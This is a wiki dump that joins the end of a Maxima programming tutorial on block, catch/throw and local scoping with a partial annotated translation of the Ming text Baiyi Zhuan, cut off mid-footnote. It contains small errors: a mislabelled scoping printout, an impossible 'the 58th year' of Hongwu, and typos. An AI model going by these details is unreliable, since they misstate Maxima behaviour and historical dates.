<code>block</code> expression. It should also be worth noting that the identifiers <code>n</code>, <code>i</code>, and <code>total</code> have local values assigned within the <code>block</code> expression, but their global values are themselves. Also notice that the identifiers <code>i</code> and <code>total</code> were both declared local and assigned initial values within the <code>block</code> list argument. The go-to label argument of the <code>go</code> operator must be the name of a tag appearing within the same block expression. The <code>go</code> operator cannot be used to go to a tag in a different <code>block</code> expression. There is nothing special about the <code>loop</code> identifier name used for the go-to tag in this example. Other identifiers could be used, but they must be atomic. Another way to modify a block expression evaluation sequence is by way of the <code>throw</code> operator.<syntaxhighlight lang="maxima">(%i32) /* Define a function using a block expression that searches for a specific condition and throws a value */ find_element (target_list, threshold) := block ( [found_val: false], catch( for x in target_list do ( if x > threshold then ( /* Immediately exit the block and return this value */ throw(x) ) ), /* This string is returned only if the loop finishes without throwing */ "No element exceeded the threshold" ) )$ (%i31) /* Test the block */ find_element ( [10, 20, 55, 80], 50 ); (%o31) 55</syntaxhighlight>How It Works catch(...): This creates a boundary that intercepts any throw executed within its scope. throw(x): When Maxima encounters this statement, it immediately stops executing the loop and the rest of the block. It jumps directly out of the <code>catch</code> expression, returning the value of x as the result of the entire catch statement. ==== Nested Block Expressions ==== <code>block</code> operators may appear within other block expressions as arguments – '''''nested''''' <code>block</code> expressions. A local environment with local identifiers may be created for nested block expressions. Local values for identifiers, if declared by a first <code>block</code> operator list argument, are created each time a nested <code>block</code> is evaluated. However, identifiers with global values that have not been declared as local within any <code>block</code> expressions, are global values for nested <code>block</code> expressions as well as enclosing <code>block</code> expressions. Likewise, local identifiers of any enclosing <code>block</code> expression have values that are global within any enclosed blocks, if not declared as local within the enclosed block. If the value of an identifier is not local in a <code>block</code> expression, its value is the value most recently assigned by an enclosing <code>block</code> expression, if any value has been assigned. Otherwise, it is the value of the identifier in the global environment. <syntaxhighlight lang="maxima"> (%i23) z : 2^(1/3); (z) 2^(1/3) (%i24) /* Outer block starts */ block ( [x : 10, y : 20], /* values of x and y declared local to outer block */ /* Inner block starts */ block ( [y : 99, z : 100], /* values of y and z declared local to inner block */ print ("Inside inner block:"), print ("x =", x, "is the value of x from outer block"), print ("y =", y, "is the local value of y of outer block"), print("z =", z, "is the local value of z of inner block") ), /* Inner block ends */ /* Outer block resumes */ print ("Back in outer block:"), print ("x =", x, "is the value of x from outer block"), print ("y =", y, "is the restored value of y of the outer block"), print ("z =", z, "is the value of z global to both blocks") /* Outer block ends */ )$ Inside inner block: x = 10 is the value of x from outer block y = 99 is the local value of y of outer block z = 100 is the local value of z of inner block Back in outer block: x = 10 is the value of x from outer block y = 20 is the restored value of y of the outer block z = 2^(1/3) is the value of z global to both blocks </syntaxhighlight> ==== Values, Properties, and the <code>local</code> Operator ==== The expression <code>local (v₁, v₂, ... , v_m)</code> within a <code>block</code> expression saves the '''''properties''''' associated with the symbols <code>v₁, v₂, ... , v_m</code>, removes any properties before evaluating other expressions, and restores any saved properties on exit from the block. Because Maxima is an application based on the Common Lisp programming language, it utilizes Lisp '''''symbol''''' structure. Lisp symbols are objects that carry their own "dictionary" of attributes. A Lisp symbol's internal property list (''plist'') is a built-in data structure attached directly to a symbol. Maxima uses this underlying Lisp symbol structure to associate '''''properties''''' with Maxima identifiers. Properties of identifiers can be ''declared explicitly'' by users. <syntaxhighlight lang="maxima"> (%i23) declare (x, real); (%o23) done </syntaxhighlight> However, some identifier property declarations are ''implemented implicitly'' as properties of a symbol, including <code>:=</code>, <code>array</code>, <code>dependencies</code>, <code>atvalue</code>, <code>matchdeclare</code>, <code>atomgrad</code>, <code>constant</code>, <code>nonscalar</code>, <code>assume</code>, and some others. Below is a description of how each of those specific declarations is implemented as a property under the hood: ====== Functions and Arrays ====== * '''<code>:=</code> (Function Definition):''' When you define a function using <code>f(x) := x^2</code>, the actual expression (<code>x^2</code>) and its argument list (<code>x</code>) are stored as a property of the symbol <code>f</code>. * '''<code>array</code>:''' When you declare or use a subscripted array (like <code>a[i]</code>), the array type, dimensions, and memory pointer are attached as a property to the symbol <code>a</code>. This differentiates it from a standard scalar variable. ====== Calculus and Dependencies ====== * '''<code>dependencies</code>:''' If you declare <code>depends(y, x)</code>, Maxima attaches a dependency list property to <code>y</code> noting that it functionally depends on <code>x</code>. This tells the <code>diff</code> (differentiation) engine not to treat <code>y</code> as a constant relative to <code>x</code>. * '''<code>atvalue</code>:''' When you define a specific value for an expression at a boundary point (e.g., <code>atvalue(y, x=0, 1)</code>), this boundary constraint is stored as an evaluation property on the symbol <code>y</code>. * '''<code>atomgrad</code>:''' This assigns a specific gradient or derivative to an atomic identifier (e.g., telling Maxima what (df/dx) is explicitly). Maxima saves this rule as a gradient property on that symbol. ====== Pattern Matching and Rules ====== * '''<code>matchdeclare</code>:''' Used in Maxima's pattern-matching system (like <code>tellsimp</code>). When you type <code>matchdeclare(x, freeof(a))</code>, Maxima attaches a predicate property to <code>x</code>. When a pattern rule runs, Maxima looks at property list of <code>x</code> to see what conditions a matching expression must meet. ====== Mathematical and Evaluation Attributes ====== * '''<code>constant</code>:''' Declaring <code>declare(c, constant)</code> places a "constant" flag on property list of <code>c</code>. Core routines (like integration and differentiation) check this flag to know they can pull <code>c</code> out of integrals or differentiate it to zero. * '''<code>nonscalar</code>:''' Tells Maxima to treat a symbol as a matrix or vector rather than a regular number. This property changes how operators like <code>.</code> (non-commutative multiplication) treat the symbol. * '''<code>assume</code>:''' When an expression such as <code>assume(x > 0)</code> is used, Maxima's database system (<code>context</code>) assigns facts and properties (like <code>pos</code> or <code>nonnegative</code>) to the symbol <code>x</code>, allowing the simplifier to safely reduce expressions like <code>sqrt(x^2)</code> to <code>x</code>. The effect of the <code>local</code> operator is to make such declarations effective only within a <code>block</code> expression. Otherwise, declarations within a <code>block</code> expression are considered to be global declarations. So what does all of this mean to the typical Maxima user? It means that the list of identifiers that is the first argument of a <code>block</code> expression only declares the '''''values''''' of those identifiers as local to the <code>block</code> expression in which the list is an argument. Any properties of identifiers are not declared local by this means. In order to declare '''''properties''''' of identifiers to be local to a <code>block</code> expression, the <code>local</code> operator must be used as an expression within the <code>block</code> expression. At the point where the local operator is evaluated as an argument of a <code>block</code> expression, the properties of the identifiers that are arguments to the <code>local</code> operator become local to the block. It is not an unfair criticism that perhaps the <code>local</code> operator should have been named something like <code>local_properties</code>. <syntaxhighlight lang="maxima"> (%i25) f (s) := cos (s); (%o25) f(s):=cos(s) (%i26) f (%pi/6); (%o26) sqrt(3)/2 (%i27) block (local (f), f (s) := sin (s), f (%pi/6)); (%o27) 1/2 (%i28) f (s); (%o28) cos(s) </syntaxhighlight>In the above example, the '''''properties''''' of identifier <code>f</code> were declared to be local in the <code>block</code> expression using the <code>local</code> operator. However, global properties of the identifier <code>f</code> were not affected by the local function definition of <code>f</code> in the <code>block</code> expression. The global definition expression of <code>f</code> which is <code>cos (s)</code> and the argument <code>s</code> were not affected by the local definition of <code>f</code> because the properties of <code>f</code> were declared local to the <code>block</code> expression. <code>block</code> expressions can be used for different purposes in the Maxima programming context. <code>block</code> expressions can be used in a stand-alone fashion or as part of an expression. However, <code>block</code> expressions are commonly used in expressions that define '''''functions''''', which is the topic that follows. === Functions === For mathematical functions use always define() instead of := There is only one small difference between them: "The function definition operator. f(x_1, ..., x_n) := expr defines a function named f with arguments x_1, …, x_n and function body expr. := '''never''' evaluates the function body (unless explicitly evaluated by quote-quote <nowiki>''</nowiki>)." "Defines a function named f with arguments x_1, …, x_n and function body expr. define '''always''' evaluates its second argument (unless explicitly quoted). " === Lisp and Maxima === {{BookCat}} ayit9ejvqn00anhuaizida6zlktg660 0 485570 4670775 4670014 2026-09-18T00:48:35Z Taitesena 3485636 4670775 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 | |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous 